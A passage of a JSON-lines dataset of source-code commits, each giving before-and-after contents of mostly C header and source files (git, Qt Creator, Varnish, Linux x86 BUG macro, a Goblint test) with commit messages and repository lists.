interceptor","lang":"C","license":"apache-2.0","repos":"pszemus\/grpc,muxi\/grpc,donnadionne\/grpc,firebase\/grpc,ctiller\/grpc,jtattermusch\/grpc,donnadionne\/grpc,ctiller\/grpc,pszemus\/grpc,vjpai\/grpc,jboeuf\/grpc,grpc\/grpc,vjpai\/grpc,ctiller\/grpc,jtattermusch\/grpc,ejona86\/grpc,jboeuf\/grpc,donnadionne\/grpc,grpc\/grpc,muxi\/grpc,firebase\/grpc,vjpai\/grpc,nicolasnoble\/grpc,grpc\/grpc,donnadionne\/grpc,firebase\/grpc,pszemus\/grpc,jboeuf\/grpc,muxi\/grpc,ejona86\/grpc,stanley-cheung\/grpc,muxi\/grpc,grpc\/grpc,pszemus\/grpc,jtattermusch\/grpc,stanley-cheung\/grpc,ejona86\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,jboeuf\/grpc,pszemus\/grpc,ctiller\/grpc,ctiller\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,stanley-cheung\/grpc,stanley-cheung\/grpc,nicolasnoble\/grpc,ctiller\/grpc,muxi\/grpc,ctiller\/grpc,muxi\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,muxi\/grpc,vjpai\/grpc,vjpai\/grpc,donnadionne\/grpc,ejona86\/grpc,grpc\/grpc,firebase\/grpc,firebase\/grpc,grpc\/grpc,jboeuf\/grpc,muxi\/grpc,vjpai\/grpc,nicolasnoble\/grpc,jtattermusch\/grpc,nicolasnoble\/grpc,donnadionne\/grpc,grpc\/grpc,ejona86\/grpc,ejona86\/grpc,vjpai\/grpc,ctiller\/grpc,muxi\/grpc,grpc\/grpc,firebase\/grpc,jboeuf\/grpc,stanley-cheung\/grpc,jtattermusch\/grpc,stanley-cheung\/grpc,jboeuf\/grpc,jtattermusch\/grpc,jboeuf\/grpc,jboeuf\/grpc,jtattermusch\/grpc,muxi\/grpc,grpc\/grpc,ejona86\/grpc,vjpai\/grpc,pszemus\/grpc,jboeuf\/grpc,donnadionne\/grpc,pszemus\/grpc,grpc\/grpc,stanley-cheung\/grpc,firebase\/grpc,donnadionne\/grpc,donnadionne\/grpc,ctiller\/grpc,pszemus\/grpc,nicolasnoble\/grpc,firebase\/grpc,vjpai\/grpc,muxi\/grpc,jtattermusch\/grpc,ctiller\/grpc,jboeuf\/grpc,jtattermusch\/grpc,ejona86\/grpc,pszemus\/grpc,firebase\/grpc,firebase\/grpc,jtattermusch\/grpc,vjpai\/grpc,ejona86\/grpc,nicolasnoble\/grpc,nicolasnoble\/grpc,firebase\/grpc,pszemus\/grpc,nicolasnoble\/grpc,grpc\/grpc,firebase\/grpc,stanley-cheung\/grpc,grpc\/grpc,ejona86\/grpc,ctiller\/grpc,stanley-cheung\/grpc,donnadionne\/grpc,stanley-cheung\/grpc,ejona86\/grpc,vjpai\/grpc,ctiller\/grpc,donnadionne\/grpc,vjpai\/grpc,nicolasnoble\/grpc,ejona86\/grpc,nicolasnoble\/grpc,muxi\/grpc,pszemus\/grpc,jtattermusch\/grpc,pszemus\/grpc"}
{"commit":"bbaf4584286657582a92d5bb4038a5a06654ebb1","old_file":"fetch-pack.h","new_file":"fetch-pack.h","old_contents":"#ifndef FETCH_PACK_H\n#define FETCH_PACK_H\n\nstruct fetch_pack_args\n{\n\tconst char *uploadpack;\n\tint quiet;\n\tint keep_pack;\n\tint unpacklimit;\n\tint use_thin_pack;\n\tint fetch_all;\n\tint verbose;\n\tint depth;\n\tint no_progress;\n};\n\nvoid setup_fetch_pack(struct fetch_pack_args *args);\n\nstruct ref *fetch_pack(const char *dest, int nr_heads, char **heads, char **pack_lockfile);\n\n#endif\n","new_contents":"#ifndef FETCH_PACK_H\n#define FETCH_PACK_H\n\nstruct fetch_pack_args\n{\n\tconst char *uploadpack;\n\tint unpacklimit;\n\tint depth;\n\tunsigned quiet:1,\n\t\tkeep_pack:1,\n\t\tuse_thin_pack:1,\n\t\tfetch_all:1,\n\t\tverbose:1,\n\t\tno_progress:1;\n};\n\nvoid setup_fetch_pack(struct fetch_pack_args *args);\n\nstruct ref *fetch_pack(const char *dest, int nr_heads, char **heads, char **pack_lockfile);\n\n#endif\n","subject":"Use 'unsigned:1' when we mean boolean options","message":"Use 'unsigned:1' when we mean boolean options\n\nThese options are all strictly boolean (true\/false).  Its easier to\ndocument this implicitly by making their storage type a single bit.\nThere is no compelling memory space reduction reason for this change,\nit just makes the structure definition slightly more readable.\n\nSigned-off-by: Shawn O. Pearce <f01032651c12a22b2103346ba96b3b6b231f9d3c@spearce.org>\n","lang":"C","license":"mit","repos":"destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git,destenson\/git"}
{"commit":"a91f0523158431e59051d1fd7977426026a2c5a6","old_file":"src\/plugins\/qmldesigner\/components\/formeditor\/abstractcustomtool.h","new_file":"src\/plugins\/qmldesigner\/components\/formeditor\/abstractcustomtool.h","old_contents":"#ifndef QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n#define QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n\n#include \"abstractformeditortool.h\"\n\nnamespace QmlDesigner {\n\nclass QMLDESIGNERCORE_EXPORT AbstractCustomTool : public QmlDesigner::AbstractFormEditorTool\n{\npublic:\n    AbstractCustomTool();\n\n    void selectedItemsChanged(const QList<FormEditorItem *> &itemList) QTC_OVERRIDE;\n\n    virtual int wantHandleItem(const ModelNode &modelNode) const QTC_OVERRIDE = 0;\n};\n\n} \/\/ namespace QmlDesigner\n\n#endif \/\/ QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n","new_contents":"#ifndef QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n#define QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n\n#include \"abstractformeditortool.h\"\n\nnamespace QmlDesigner {\n\nclass QMLDESIGNERCORE_EXPORT AbstractCustomTool : public QmlDesigner::AbstractFormEditorTool\n{\npublic:\n    AbstractCustomTool();\n\n    void selectedItemsChanged(const QList<FormEditorItem *> &itemList) QTC_OVERRIDE;\n\n    virtual QString name() const = 0;\n\n    virtual int wantHandleItem(const ModelNode &modelNode) const QTC_OVERRIDE = 0;\n};\n\n} \/\/ namespace QmlDesigner\n\n#endif \/\/ QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n","subject":"Add name method to custom tools","message":"QmlDesigner.FormEditor: Add name method to custom tools\n\nChange-Id: Icabf454fc49444a5a88c1f5eb84847967f09078e\nReviewed-by: Thomas Hartmann <588ee739c05aab7547907becfd1420d2b7316069@digia.com>\n(cherry picked from commit bcb11829bab091c0e2c8ea4de42cc03aa5359f0c)\nReviewed-by: Marco Bubke <5254e489b34ec8bbce36789100e3fc0f41fa62ef@digia.com>\n","lang":"C","license":"lgpl-2.1","repos":"colede\/qtcreator,darksylinc\/qt-creator,danimo\/qt-creator,farseerri\/git_code,danimo\/qt-creator,amyvmiwei\/qt-creator,xianian\/qt-creator,danimo\/qt-creator,maui-packages\/qt-creator,farseerri\/git_code,amyvmiwei\/qt-creator,richardmg\/qtcreator,darksylinc\/qt-creator,duythanhphan\/qt-creator,xianian\/qt-creator,omniacreator\/qtcreator,martyone\/sailfish-qtcreator,amyvmiwei\/qt-creator,xianian\/qt-creator,xianian\/qt-creator,duythanhphan\/qt-creator,martyone\/sailfish-qtcreator,danimo\/qt-creator,darksylinc\/qt-creator,AltarBeastiful\/qt-creator,duythanhphan\/qt-creator,danimo\/qt-creator,kuba1\/qtcreator,AltarBeastiful\/qt-creator,danimo\/qt-creator,darksylinc\/qt-creator,Distrotech\/qtcreator,Distrotech\/qtcreator,maui-packages\/qt-creator,xianian\/qt-creator,malikcjm\/qtcreator,maui-packages\/qt-creator,martyone\/sailfish-qtcreator,xianian\/qt-creator,farseerri\/git_code,omniacreator\/qtcreator,duythanhphan\/qt-creator,darksylinc\/qt-creator,Distrotech\/qtcreator,kuba1\/qtcreator,Distrotech\/qtcreator,AltarBeastiful\/qt-creator,malikcjm\/qtcreator,omniacreator\/qtcreator,Distrotech\/qtcreator,omniacreator\/qtcreator,AltarBeastiful\/qt-creator,danimo\/qt-creator,AltarBeastiful\/qt-creator,maui-packages\/qt-creator,richardmg\/qtcreator,kuba1\/qtcreator,kuba1\/qtcreator,darksylinc\/qt-creator,richardmg\/qtcreator,amyvmiwei\/qt-creator,farseerri\/git_code,kuba1\/qtcreator,malikcjm\/qtcreator,martyone\/sailfish-qtcreator,colede\/qtcreator,amyvmiwei\/qt-creator,kuba1\/qtcreator,maui-packages\/qt-creator,malikcjm\/qtcreator,martyone\/sailfish-qtcreator,xianian\/qt-creator,omniacreator\/qtcreator,colede\/qtcreator,Distrotech\/qtcreator,farseerri\/git_code,richardmg\/qtcreator,xianian\/qt-creator,malikcjm\/qtcreator,colede\/qtcreator,farseerri\/git_code,malikcjm\/qtcreator,martyone\/sailfish-qtcreator,maui-packages\/qt-creator,omniacreator\/qtcreator,malikcjm\/qtcreator,colede\/qtcreator,AltarBeastiful\/qt-creator,AltarBeastiful\/qt-creator,AltarBeastiful\/qt-creator,darksylinc\/qt-creator,farseerri\/git_code,colede\/qtcreator,martyone\/sailfish-qtcreator,xianian\/qt-creator,danimo\/qt-creator,farseerri\/git_code,richardmg\/qtcreator,martyone\/sailfish-qtcreator,duythanhphan\/qt-creator,richardmg\/qtcreator,kuba1\/qtcreator,amyvmiwei\/qt-creator,duythanhphan\/qt-creator,danimo\/qt-creator,maui-packages\/qt-creator,duythanhphan\/qt-creator,darksylinc\/qt-creator,omniacreator\/qtcreator,Distrotech\/qtcreator,amyvmiwei\/qt-creator,kuba1\/qtcreator,kuba1\/qtcreator,amyvmiwei\/qt-creator,richardmg\/qtcreator,martyone\/sailfish-qtcreator,colede\/qtcreator"}
{"commit":"91555cbe336706d381af22561180b751923b1330","old_file":"cursor.all.h","new_file":"cursor.all.h","old_contents":"\/\/ File created: 2011-09-02 23:36:23\n\n#ifndef MUSHSPACE_CURSOR_H\n#define MUSHSPACE_CURSOR_H\n\n#include \"space.all.h\"\n\n#define mushcursor MUSHSPACE_NAME(mushcursor)\n\n\/\/ What kind of an area is the cursor in?\ntypedef enum MushCursorMode {\n\tMushCursorMode_static,\n\tMushCursorMode_dynamic,\n\tMushCursorMode_bak,\n} MushCursorMode;\n\n#if MUSHSPACE_93\n#define MUSHCURSOR_MODE(x) MushCursorMode_static\n#else\n#define MUSHCURSOR_MODE(x) ((x)->mode)\n#endif\n\ntypedef struct mushcursor {\n#if !MUSHSPACE_93\n\tMushCursorMode mode;\n#endif\n\tmushspace *space;\n\tmushcoords pos;\n} mushcursor;\n\n#define mushcursor_sizeof MUSHSPACE_CAT(mushcursor,_sizeof)\n#define mushcursor_init   MUSHSPACE_CAT(mushcursor,_init)\n\nextern const size_t mushcursor_sizeof;\n\nmushcursor* mushcursor_init(mushspace*, mushcoords, mushcoords, void*);\n\n#endif\n","new_contents":"\/\/ File created: 2011-09-02 23:36:23\n\n#ifndef MUSHSPACE_CURSOR_H\n#define MUSHSPACE_CURSOR_H\n\n#include \"space.all.h\"\n\n#define mushcursor MUSHSPACE_NAME(mushcursor)\n\n\/\/ What kind of an area is the cursor in?\ntypedef enum MushCursorMode {\n\tMushCursorMode_static,\n\tMushCursorMode_dynamic,\n\tMushCursorMode_bak,\n} MushCursorMode;\n\n#if MUSHSPACE_93\n#define MUSHCURSOR_MODE(x) MushCursorMode_static\n#else\n#define MUSHCURSOR_MODE(x) ((x)->mode)\n#endif\n\ntypedef struct mushcursor {\n#if !MUSHSPACE_93\n\tMushCursorMode mode;\n#endif\n\tmushspace *space;\n\tmushcoords pos;\n#if !MUSHSPACE_93\n\tsize_t     box_idx;\n#endif\n} mushcursor;\n\n#define mushcursor_sizeof MUSHSPACE_CAT(mushcursor,_sizeof)\n#define mushcursor_init   MUSHSPACE_CAT(mushcursor,_init)\n\nextern const size_t mushcursor_sizeof;\n\nmushcursor* mushcursor_init(mushspace*, mushcoords, mushcoords, void*);\n\n#endif\n","subject":"Add mushcursor.box_idx, for Funge-98 only","message":"Add mushcursor.box_idx, for Funge-98 only\n","lang":"C","license":"mit","repos":"Deewiant\/mushspace,Deewiant\/mushspace,Deewiant\/mushspace"}
{"commit":"3df7e69b8f231c7514732bb8d55eb6ead1de0b3b","old_file":"scripts\/testScreens\/testReport\/deleteInspectionLocation.c","new_file":"scripts\/testScreens\/testReport\/deleteInspectionLocation.c","old_contents":"testScreens: testReport: DeleteInspectionLocation\nIf [ tagTestSubjectLocation::_LtestSubjectLocation = \"\" ]\nHalt Script\nEnd If\nIf [ tagTestSubjectLocation::inUse = \"t\" ]\nShow Custom Dialog [ Title: \"!\"; Message: \"Deleting this set of test items is allowed after you delete all discoveries made during testing.\"; Buttons: “OK” ]\nExit Script [ ]\nEnd If\nSet Variable [ $delete; Value:tagTestSubjectLocation::_LtestSubjectLocation ]\nSet Variable [ $location; Value:tagTestSubjectLocation::kfocus ]\nGo to Field [ ]\nRefresh Window\nShow Custom Dialog [ Title: \"!\"; Message: \"Delete \" & tagTestSubject::tag & \"'s \" & \"test number \" & tagTestSubjectLocation::reportNumber & \" of \" & tagTestSubjectLocation::focusName & \"?\"; Buttons: “Cancel”, “Delete” ]\nIf [ Get ( LastMessageChoice ) = 2 ]\nDelete Record\/Request\n[ No dialog ]\nEnd If\nGo to Layout [ original layout ]\nSet Variable [ $delete ]\nRefresh Window\nJanuary 7, 平成26 14:16:54 Imagination Quality Management.fp7 - DeleteInspectionLocation -1-\n","new_contents":"testScreens: testReport: deleteInspectionLocation\nIf [ tagTestSubjectLocation::_LtestSubjectLocation = \"\" ]\nHalt Script\nEnd If\nIf [ tagTestSubjectLocation::inUse = \"t\" ]\nShow Custom Dialog [ Message: \"Delete all test results made in this test section before deleting it. To do this, click its green test button. Click on each test item. Delete the results you find.\"; Buttons: “OK” ]\nExit Script [ ]\nEnd If\nSet Variable [ $delete; Value:tagTestSubjectLocation::_LtestSubjectLocation ]\nSet Variable [ $location; Value:tagTestSubjectLocation::kfocus ]\nGo to Field [ ]\nRefresh Window\nShow Custom Dialog [ Message: \"Delete test section \" & tagTestSubjectLocation::focusName & \" for \" & tagTestSubject::tag & \"'s test #\" & tagTestSubjectLocation::reportNumber & \"?\"; Buttons: “Cancel”, “Delete” ]\nIf [ Get ( LastMessageChoice ) = 2 ]\nDelete Record\/Request\n[ No dialog ]\nEnd If\nGo to Layout [ original layout ]\nSet Variable [ $delete ]\nRefresh Window\nJuly 11, 平成27 11:08:18 Library.fp7 - deleteInspectionLocation -1-\n","subject":"Change language to improve quality and update to new vocabulary.","message":"Change language to improve quality and update to new vocabulary.\n\nInstead of ‘discovery’ now using ‘test result’ and instead of ‘focus’\nnow use ‘test section.’\n","lang":"C","license":"apache-2.0","repos":"HelpGiveThanks\/Library,HelpGiveThanks\/Library"}
{"commit":"0e6bcc34c6601b2ed2336d54e49bf23c12e30c60","old_file":"Settings\/Controls\/Dialog.h","new_file":"Settings\/Controls\/Dialog.h","old_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n\n#include <unordered_map>\n\nclass Control;\n\nclass Dialog {\npublic:\n    Dialog();\n    Dialog(HWND parent, LPCWSTR dlgTemplate);\n\n    void AddControl(Control *control);\n    HWND DialogHandle();\n    HWND ParentHandle();\n\n    void Show();\n\nprotected:\n    HWND _dlgHwnd;\n    HWND _parent;\n\n    \/\/\/ <summary>Maps control IDs to their respective instances.<\/summary>\n    std::unordered_map<int, Control *> _controlMap;\n\n    static INT_PTR CALLBACK StaticDialogProc(HWND hwndDlg, UINT uMsg,\n        WPARAM wParam, LPARAM lParam);\n\n    virtual INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg,\n        WPARAM wParam, LPARAM lParam);\n};\n","new_contents":"\/\/ Copyright (c) 2015, Matthew Malensek.\n\/\/ Distributed under the BSD 2-Clause License (see LICENSE.txt for details)\n\n#pragma once\n\n#include <Windows.h>\n\n#include <unordered_map>\n\nclass Control;\n\nclass Dialog {\npublic:\n    Dialog();\n    Dialog(HWND parent, LPCWSTR dlgTemplate);\n\n    void AddControl(Control *control);\n    HWND DialogHandle();\n    HWND ParentHandle();\n\n    void Show();\n\nprotected:\n    HWND _dlgHwnd;\n    HWND _parent;\n    LPCWSTR _template;\n\n    \/\/\/ <summary>Maps control IDs to their respective instances.<\/summary>\n    std::unordered_map<int, Control *> _controlMap;\n\n    static INT_PTR CALLBACK StaticDialogProc(HWND hwndDlg, UINT uMsg,\n        WPARAM wParam, LPARAM lParam);\n\n    virtual INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg,\n        WPARAM wParam, LPARAM lParam);\n};\n","subject":"Maintain the template string as an instance variable","message":"Maintain the template string as an instance variable\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"f938f81e36fa1fffb1732058a23570abd2e9ee0e","old_file":"bin\/varnishd\/mgt.h","new_file":"bin\/varnishd\/mgt.h","old_contents":"\/*\n * $Id$\n *\/\n\n#include \"common.h\"\n#include \"miniobj.h\"\n\nextern struct evbase\t*mgt_evb;\n\n\/* mgt_child.c *\/\nvoid mgt_run(int dflag);\nvoid mgt_start_child(void);\nvoid mgt_stop_child(void);\nextern pid_t mgt_pid, child_pid;\n\n\/* mgt_cli.c *\/\n\nvoid mgt_cli_init(void);\nvoid mgt_cli_setup(int fdi, int fdo, int verbose);\nint mgt_cli_askchild(int *status, char **resp, const char *fmt, ...);\nvoid mgt_cli_start_child(int fdi, int fdo);\nvoid mgt_cli_stop_child(void);\n\n\/* mgt_vcc.c *\/\nvoid mgt_vcc_init(void);\nint mgt_vcc_default(const char *bflag, const char *fflag);\nint mgt_push_vcls_and_start(int *status, char **p);\n\n\/* tcp.c *\/\nint open_tcp(const char *port);\n\n#include \"stevedore.h\"\n\nextern struct stevedore sma_stevedore;\nextern struct stevedore smf_stevedore;\n\n#include \"hash_slinger.h\"\n\nextern struct hash_slinger hsl_slinger;\nextern struct hash_slinger hcl_slinger;\n\n","new_contents":"\/*\n * $Id$\n *\/\n\n#include \"common.h\"\n#include \"miniobj.h\"\n\nextern struct evbase\t*mgt_evb;\n\n\/* mgt_child.c *\/\nvoid mgt_run(int dflag);\nextern pid_t mgt_pid, child_pid;\n\n\/* mgt_cli.c *\/\n\nvoid mgt_cli_init(void);\nvoid mgt_cli_setup(int fdi, int fdo, int verbose);\nint mgt_cli_askchild(int *status, char **resp, const char *fmt, ...);\nvoid mgt_cli_start_child(int fdi, int fdo);\nvoid mgt_cli_stop_child(void);\n\n\/* mgt_vcc.c *\/\nvoid mgt_vcc_init(void);\nint mgt_vcc_default(const char *bflag, const char *fflag);\nint mgt_push_vcls_and_start(int *status, char **p);\n\n\/* tcp.c *\/\nint open_tcp(const char *port);\n\n#include \"stevedore.h\"\n\nextern struct stevedore sma_stevedore;\nextern struct stevedore smf_stevedore;\n\n#include \"hash_slinger.h\"\n\nextern struct hash_slinger hsl_slinger;\nextern struct hash_slinger hcl_slinger;\n\n","subject":"Remove prototypes for no longer existing functions","message":"Remove prototypes for no longer existing functions\n\n\ngit-svn-id: 7d4b18ab7d176792635d6a7a77dd8cbbea8e8daa@659 d4fa192b-c00b-0410-8231-f00ffab90ce4\n","lang":"C","license":"bsd-2-clause","repos":"ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish,CartoDB\/Varnish-Cache,wikimedia\/operations-debs-varnish,ssm\/pkg-varnish"}
{"commit":"e1b6b7435ca21d528e26ef58af323c43143b77cd","old_file":"tests\/regression\/36-apron\/92-traces-mutex-meet-cluster2.c","new_file":"tests\/regression\/36-apron\/92-traces-mutex-meet-cluster2.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag\nextern int __VERIFIER_nondet_int();\n\n#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\nint h = 0;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  g = 16;\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nvoid *t_fun2(void *arg) {\n  pthread_mutex_lock(&A);\n  h = __VERIFIER_nondet_int();\n  h = 12;\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id, id2;\n  pthread_create(&id, NULL, t_fun, NULL);\n  pthread_create(&id2, NULL, t_fun2, NULL);\n\n  pthread_mutex_lock(&A);\n  h = 31;\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&A);\n  h = 12;\n  pthread_mutex_unlock(&A);\n\n  pthread_mutex_lock(&A);\n  int z = h;\n  assert(z != 31);\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","subject":"Add relational traces example where 1-clusters are needed","message":"Add relational traces example where 1-clusters are needed\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"925cd389862fe45b44921e1a8693fb8b927a9ed6","old_file":"experiment.c","new_file":"experiment.c","old_contents":"#include \"stdio.h\"\n#include \"stdlib.h\"\n\n#define TRIALS 4\n#define MATRIX_SIZE 1024\n\nint main(int argc, char*  argv[])\n{\n\tshort A[MATRIX_SIZE][MATRIX_SIZE],\n\t      B[MATRIX_SIZE][MATRIX_SIZE],\n\t      C[MATRIX_SIZE][MATRIX_SIZE];\n\n\t\/\/ Initalize array A and B with '1's\n\tfor (int i = 0; i < MATRIX_SIZE; ++i)\n\t\tfor (int k = 0; k < MATRIX_SIZE; ++k)\n\t\t\tA[i][k] = B[i][k] = 1;\n\n\t\/\/ Iterate through the block sizes\n\tfor (int block_size = 4; block_size <= 256; block_size *= 2)\n\t{\n\t\t\/\/ Run TRIALS number of trials for each block size\n\t\tfor (int trial = 0; trial < TRIALS; ++trial)\n\t\t{\n\t\t\tprintf(\"size: %d\\n\", block_size);\n\t\t}\n\t}\n\n\treturn 0;\n}\n","new_contents":"#include \"stdio.h\"\n#include \"stdlib.h\"\n\n#define TRIALS 4\n#define MATRIX_SIZE 2048\n\nshort A[MATRIX_SIZE][MATRIX_SIZE],\n      B[MATRIX_SIZE][MATRIX_SIZE],\n      C[MATRIX_SIZE][MATRIX_SIZE] = {{0}};\n\nint main(int argc, char*  argv[])\n{\n\t\/\/ Initalize array A and B with '1's\n\tfor (int i = 0; i < MATRIX_SIZE; ++i)\n\t\tfor (int k = 0; k < MATRIX_SIZE; ++k)\n\t\t\tA[i][k] = B[i][k] = 1;\n\n\t\/\/ Iterate through the block sizes\n\tfor (int block_size = 4; block_size <= 256; block_size *= 2)\n\t{\n\t\t\/\/ Run TRIALS number of trials for each block size\n\t\tfor (int trial = 0; trial < TRIALS; ++trial)\n\t\t{\n\t\t\tprintf(\"size: %d\\n\", block_size);\n\t\t}\n\t}\n\n\treturn 0;\n}\n","subject":"Move the arrays out of the stack into global mem","message":"Move the arrays out of the stack into global mem\n","lang":"C","license":"mit","repos":"EvanPurkhiser\/CS-Matrix-Multiplication"}
{"commit":"a5fc5eba4dfcc284e6adcd7fdcd5b43182230d2b","old_file":"arch\/x86\/include\/asm\/bug.h","new_file":"arch\/x86\/include\/asm\/bug.h","old_contents":"#ifndef _ASM_X86_BUG_H\n#define _ASM_X86_BUG_H\n\n#ifdef CONFIG_BUG\n#define HAVE_ARCH_BUG\n\n#ifdef CONFIG_DEBUG_BUGVERBOSE\n\n#ifdef CONFIG_X86_32\n# define __BUG_C0\t\"2:\\t.long 1b, %c0\\n\"\n#else\n# define __BUG_C0\t\"2:\\t.long 1b - 2b, %c0 - 2b\\n\"\n#endif\n\n#define BUG()\t\t\t\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\\\n\tasm volatile(\"1:\\tud2\\n\"\t\t\t\t\\\n\t\t     \".pushsection __bug_table,\\\"a\\\"\\n\"\t\t\\\n\t\t     __BUG_C0\t\t\t\t\t\\\n\t\t     \"\\t.word %c1, 0\\n\"\t\t\t\t\\\n\t\t     \"\\t.org 2b+%c2\\n\"\t\t\t\t\\\n\t\t     \".popsection\"\t\t\t\t\\\n\t\t     : : \"i\" (__FILE__), \"i\" (__LINE__),\t\\\n\t\t     \"i\" (sizeof(struct bug_entry)));\t\t\\\n\tfor (;;) ;\t\t\t\t\t\t\\\n} while (0)\n\n#else\n#define BUG()\t\t\t\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\\\n\tasm volatile(\"ud2\");\t\t\t\t\t\\\n\tfor (;;) ;\t\t\t\t\t\t\\\n} while (0)\n#endif\n\n#endif \/* !CONFIG_BUG *\/\n\n#include <asm-generic\/bug.h>\n#endif \/* _ASM_X86_BUG_H *\/\n","new_contents":"#ifndef _ASM_X86_BUG_H\n#define _ASM_X86_BUG_H\n\n#ifdef CONFIG_BUG\n#define HAVE_ARCH_BUG\n\n#ifdef CONFIG_DEBUG_BUGVERBOSE\n\n#ifdef CONFIG_X86_32\n# define __BUG_C0\t\"2:\\t.long 1b, %c0\\n\"\n#else\n# define __BUG_C0\t\"2:\\t.long 1b - 2b, %c0 - 2b\\n\"\n#endif\n\n#define BUG()\t\t\t\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\\\n\tasm volatile(\"1:\\tud2\\n\"\t\t\t\t\\\n\t\t     \".pushsection __bug_table,\\\"a\\\"\\n\"\t\t\\\n\t\t     __BUG_C0\t\t\t\t\t\\\n\t\t     \"\\t.word %c1, 0\\n\"\t\t\t\t\\\n\t\t     \"\\t.org 2b+%c2\\n\"\t\t\t\t\\\n\t\t     \".popsection\"\t\t\t\t\\\n\t\t     : : \"i\" (__FILE__), \"i\" (__LINE__),\t\\\n\t\t     \"i\" (sizeof(struct bug_entry)));\t\t\\\n\tunreachable();\t\t\t\t\t\t\\\n} while (0)\n\n#else\n#define BUG()\t\t\t\t\t\t\t\\\ndo {\t\t\t\t\t\t\t\t\\\n\tasm volatile(\"ud2\");\t\t\t\t\t\\\n\tunreachable();\t\t\t\t\t\t\\\n} while (0)\n#endif\n\n#endif \/* !CONFIG_BUG *\/\n\n#include <asm-generic\/bug.h>\n#endif \/* _ASM_X86_BUG_H *\/\n","subject":"Convert BUG() to use unreachable()","message":"x86: Convert BUG() to use unreachable()\n\nUse the new unreachable() macro instead of for(;;);.  When\nallyesconfig is built with a GCC-4.5 snapshot on i686 the size of the\ntext segment is reduced by 3987 bytes (from 6827019 to 6823032).\n\nSigned-off-by: David Daney <0662de36cfb0706ed279bff52abef14720945acc@caviumnetworks.com>\nAcked-by: \"H. Peter Anvin\" <8a453bad9912ffe59bc0f0b8abe03df9be19379e@zytor.com>\nCC: Thomas Gleixner <00e4cf8f46a57000a44449bf9dd8cbbcc209fd2a@linutronix.de>\nCC: Ingo Molnar <9dbbbf0688fedc85ad4da37637f1a64b8c718ee2@redhat.com>\nCC: 500d1ad82b2a9e532e251e94d31de3f8a5cf4174@kernel.org\nSigned-off-by: Linus Torvalds <69652caca27c8b940640ad396ab71f93cacec34f@linux-foundation.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"62cf809f47a2767f343ddc649f8e8b0d725c7823","old_file":"inc\/user.h","new_file":"inc\/user.h","old_contents":"#ifndef USER_H\n#define USER_H\n\n#include <stdint.h>\n#include <QString>\n#include <QByteArray>\n#include <QVector>\n#include \"..\/inc\/pwentry.h\"\n\nclass User\n{\n\npublic:\n    enum AuthenticateFlag {\n        Authenticate = 0x0000,\n        Encrypt      = 0x0001,\n        Decrypt      = 0x0002\n    };\n\n    User();\n    User(QString username,\n         QString password);\n    User(QString username,\n         QByteArray auth_salt,\n         QByteArray key_salt,\n         QByteArray iv,\n         QByteArray auth_hash,\n         QVector<PwEntry> password_entries);\n\n    QString username;\n    QByteArray auth_salt;\n    QByteArray key_salt;\n    QByteArray iv;\n    QByteArray auth_hash;\n\n    QVector<PwEntry> password_entries;\n\n    bool isDecrypted;\n\n    int Authenticate(QString password, AuthenticateFlag auth_mode);\n    int AddPwEntry(PwEntry password_entry);\n\nprivate:\n    void EncryptAllPwEntries(QString password);\n    void DecryptAllPwEntries(QString password);\n};\n\n#endif \/\/ USER_H\n","new_contents":"#ifndef USER_H\n#define USER_H\n\n#include <stdint.h>\n#include <QString>\n#include <QByteArray>\n#include <QVector>\n#include \"..\/inc\/pwentry.h\"\n\nclass User\n{\n\npublic:\n    enum AuthenticateFlag {\n        Auth    = 0x0000,\n        Encrypt = 0x0001,\n        Decrypt = 0x0002\n    };\n\n    User();\n    User(QString username,\n         QString password);\n    User(QString username,\n         QByteArray auth_salt,\n         QByteArray key_salt,\n         QByteArray iv,\n         QByteArray auth_hash,\n         QVector<PwEntry> password_entries);\n\n    QString username;\n    QByteArray auth_salt;\n    QByteArray key_salt;\n    QByteArray iv;\n    QByteArray auth_hash;\n\n    QVector<PwEntry> password_entries;\n\n    bool isDecrypted;\n\n    int 